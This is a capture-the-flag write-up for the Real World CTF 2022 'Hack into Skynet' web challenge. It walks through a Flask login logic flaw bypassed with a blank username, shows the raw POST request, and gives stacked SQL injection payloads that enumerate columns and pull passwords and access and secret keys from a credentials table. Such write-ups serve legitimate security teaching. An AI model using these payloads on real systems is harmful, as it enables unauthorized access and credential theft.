Hack into Skynet —  Real World CTF (2022) walkthrough

2022-1-25 19:1:43 Author: infosecwriteups.com 阅读量:23 收藏

7h3h4ckv157

<Online Jeopardy>

Hello hackers ッ✋✋,

In this writeup, I’m sharing one of the potential methods to pwn a web challenge on Real world CTF 2022. All challenges built on top of real-world applications & due to the impact of COVID-19, The 4th Real World CTF was online mode. From the challenge definition itself, I comprehend there’s SQLI vulnerability. I spend around 24hrs. But I failed !

I truthfully express my gratitude to Fanky & xl00t. During the CTF was Live, the challenge made me sick. Although, after communicating with those mentioned people, I came back & did this with a new perspective. That’s why I’m publishing a writeup for this special one. So let’s start,

Challenge name : Hack into Skynet
Challenge type :
Web
Difficulty level:
Schrödinger

(A hypothetical cat assumed simultaneously both alive and dead. Likewise, the challenge may be "easy or insane")

There’re two intended ways to solve this challenge.

— > “Which way do you prefer?”

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++Solutions:1. Login bypass via exploiting the logic error & then SQLI 
(WAF bypassing).
2. Abusing the Flask.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

You can check out the second scenario here at: “Abusing the Flask

Login bypass via exploiting the logic error

Login page

The above interface was the initial point of the challenge. And there’s an attachment along with this. By perusing the code, we will get how it works.

Code analysis (The given attachment)

Short Elucidations

  • A session ID is a unique number that a Web site’s server assigns a specific client for the duration of that user’s session. Here the session ID is stored as a cookie.

So it’s clear that once we logged in, the server allocates a special unique ID for our session. Until then, the cookie will be null (not exist).

Point:
If we’re able to get sessionId, we will acquire the initial system entrance.

  • On attempting malicious acts we’ll be flagged as an aggressor & will not allow fetching to the page (returns 403).
  • I tried SQLi to bypass the login page, but each time it returns 403.

403
  • The Username & Password were too given. I attempted a few endeavors with those, but not worthy.

There’s some stuff left there in code, we’ll get back if needed.

Logical error

The vulnerable point is glued right below. Can you recognize the bug in the below code? It was the point where I was astounded & sweat amid the competition. I couldn’t figure out this before.

  • username = flask.request.form.get(‘username’, ‘’)
If we send blank value in “username” parameter, 
username will be --> "
⇩⇩⇩username = flask.request.form.get(‘username’, ‘’) = “
  • password = flask.request.form.get(‘password’, ‘’)
And if we specify a password in the "password" parameter, it'll escape from "if check" & wouldn't return false.⇩⇩⇩username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:

return False

It queries the DB but won’t find anything. Thus in the below case, the else part is carried out. Then the parameter “name” is set to → “

name = user[0][1] if user and user[0] and user[0][1]         else ‘’(line no: 105)

And finally, the parameters “name” & “username” becomes the same → “
Hence,

return name == username (Condition is: return True)

BOOM..!! Vulnerability found.
Now we can meaningfully abuse this.

Exploitation

POST /login HTTP/1.1
Host: 47.242.21.212:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://47.242.21.212:8081
Connection: close
Referer: http://47.242.21.212:8081/login
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
username=&password=ctf

Passing the blank value in “username” & any in “password” parameters
(as we discussed above), we can bypass the login page. The server returns the SessionId. And we’re finally logged in.

username=&password=any_value

Login success

From the interface itself, it’s clear that it’s time for SQL Injection.

After Login

Backend DB Identification:

It’s previously noticed while doing code analysis.

Hope you understand

SQLi Confirmation

Since we found table “target_credentials” from the attachment code, it’s easy to trigger the valid payload.

Tested Payloads (Valid):

'; select * from target_credentials limit 1 offset '1'; select * from target_credentials limit 1 offset '2'; select * from target_credentials limit 1 offset '3....etc. up to'; select * from target_credentials limit 1 offset '12

All those “up to 12” returns the values & the next part is our signature move.

'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '1Query returns ⇣⇣⇣account: None********************************************************************'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '2Query returns ⇣⇣⇣password: None********************************************************************'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '3Query returns ⇣⇣⇣access_key: None********************************************************************'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '4Query returns ⇣⇣⇣secret_key: None********************************************************************

So we got,

1 = account
2 = password
3 = access_key
4 = secret_key

eg:

‘; select column_name, null from information_schema.columns where table_name=’target_credentials’ limit 1 offset ‘4

4 = secret_key

So we understand what to provide in upcoming steps.

The Finisher move

1 = account

‘; select account, null from target_credentials limit 4 offset ‘0

2= password

‘; select password, null from target_credentials limit 4 offset ‘0

3 = access_key

‘; select access_key, null from target_credentials limit 4 offset ‘0

4 = secret_key

‘; select secret_key, null from target_credentials limit 4 offset ‘0

Boom !!

Yaay..!!
Finally, we pwned the Skynet.

Flag: rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

Job done

You can also do the job with automation.

Exploit code:

Credit: xl00t

I hope you relished my write-up. Feel free to connect & share your views with me. You can find me here @•7h3h4ckv157

See you soon..!!